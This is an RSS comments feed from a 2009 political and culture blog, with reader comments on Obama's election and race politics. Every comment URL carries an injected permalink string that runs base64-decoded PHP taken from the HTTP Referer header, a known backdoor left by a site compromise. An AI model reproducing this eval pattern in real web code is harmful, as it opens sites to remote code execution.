Comments for Phiscal Matters http://phiscalmatters.com Dedicated to the business of culture and politics Fri, 10 Jul 2009 07:11:39 -0400 http://wordpress.org/?v=2.8.4 hourly 1 Comment on MJ and the Question of Color by Hannibal http://phiscalmatters.com/2009/07/07/mj-and-the-question-of-color-2/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-442 Hannibal Fri, 10 Jul 2009 07:11:39 +0000 http://phiscalmatters.com/?p=304#comment-442 Wow, you really put it out there...great job. Thanks again! Wow, you really put it out there…great job. Thanks again!

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]]> Comment on A Change MUST Come by Rhea http://phiscalmatters.com/2008/10/30/a-change-must-come/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-414 Rhea Tue, 11 Nov 2008 21:52:54 +0000 http://phiscalmatters.com/?p=273#comment-414 YES WE CAN! YES WE DID! Rosa sat, so Martin could walk… Martin walked, so Obama could run… Obama ran, so our children can FLY! I'm with you on 99% of what you're saying. This is a great time for black people everywhere and for Americans all around. Our country feels more unified and patriotism is waking up again. The world is rejoicing in our victory. As much as Michaela Angela Davis may have done in the PAST, she's not representing as of late. Whether it be on Hip Hop vs America and saying nothing but "you're fly" over and over again or bringing about a divisive mentality on the BET Election coverage. Let's be real. If it weren't for a LARGE % of WHITE PEOPLE voting, Obama would NOT be our next president. The minority vote alone would NOT have cut it. That said, this woman was negative immediately after his win by making the comment "The white only sign on the white house is down." Obama doesn't stand for this separist b.s. and unlike some people who seem to have issues with their biracial background, he's not one of them. He's claimed his white side of himself and his family. He was raised predominantly by white people. Obama has brought our nation together in a way that a candidate has not in YEARS. Red states, blue states, young, old, men, women, black, white, brown, asian, you name it. So my point is, as much as Michaela Angela Davis might want to try to portray black power, LET US MOVE FORWARD and live in the image of the man we elected by coming TOGETHER and work in the name of PROGRESS. YES WE CAN! YES WE DID! Rosa sat, so Martin could walk… Martin walked, so Obama could run… Obama ran, so our children can FLY!

I’m with you on 99% of what you’re saying. This is a great time for black people everywhere and for Americans all around. Our country feels more unified and patriotism is waking up again. The world is rejoicing in our victory.

As much as Michaela Angela Davis may have done in the PAST, she’s not representing as of late. Whether it be on Hip Hop vs America and saying nothing but “you’re fly” over and over again or bringing about a divisive mentality on the BET Election coverage. Let’s be real. If it weren’t for a LARGE % of WHITE PEOPLE voting, Obama would NOT be our next president. The minority vote alone would NOT have cut it. That said, this woman was negative immediately after his win by making the comment “The white only sign on the white house is down.” Obama doesn’t stand for this separist b.s. and unlike some people who seem to have issues with their biracial background, he’s not one of them. He’s claimed his white side of himself and his family. He was raised predominantly by white people. Obama has brought our nation together in a way that a candidate has not in YEARS. Red states, blue states, young, old, men, women, black, white, brown, asian, you name it. So my point is, as much as Michaela Angela Davis might want to try to portray black power, LET US MOVE FORWARD and live in the image of the man we elected by coming TOGETHER and work in the name of PROGRESS.

]]> Comment on Rededicated by Bernz Esq. http://phiscalmatters.com/2008/11/05/rededicated/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-413 Bernz Esq. Wed, 05 Nov 2008 21:07:07 +0000 http://phiscalmatters.com/?p=280#comment-413 I am so inspired by Barack for so many reasons. I am mainly inspired by Barack's campaign and now his victory, which i feel has encouraged so many people to wake up and open our (yes..present company included) eyes to the things we have taken for granted for far too long. I never would have thought in my lifetime I would see a viable african american candidate run for POTUS, be competitive and actually win. In the same breath, however, I never thought in my lifetime I would see so many people in my community take an interest in politics and having a desire to take proactive steps to change the world. My only fear is that the rockstar/POP element of this campaign will wear off and we will revert to being deaf, dumb and blind. Imagine a world where we truly created change by withholding the black dollar? or the black vote? Where we were unified and assumed that the black man's ice was cooler? (lol) For some reason...right now..today...all of that seems possible. Let's not drop the ball ya'll. ..just my two cents. BernZ I am so inspired by Barack for so many reasons. I am mainly inspired by Barack’s campaign and now his victory, which i feel has encouraged so many people to wake up and open our (yes..present company included) eyes to the things we have taken for granted for far too long. I never would have thought in my lifetime I would see a viable african american candidate run for POTUS, be competitive and actually win. In the same breath, however, I never thought in my lifetime I would see so many people in my community take an interest in politics and having a desire to take proactive steps to change the world. My only fear is that the rockstar/POP element of this campaign will wear off and we will revert to being deaf, dumb and blind. Imagine a world where we truly created change by withholding the black dollar? or the black vote? Where we were unified and assumed that the black man’s ice was cooler? (lol) For some reason…right now..today…all of that seems possible. Let’s not drop the ball ya’ll.

..just my two cents.
BernZ

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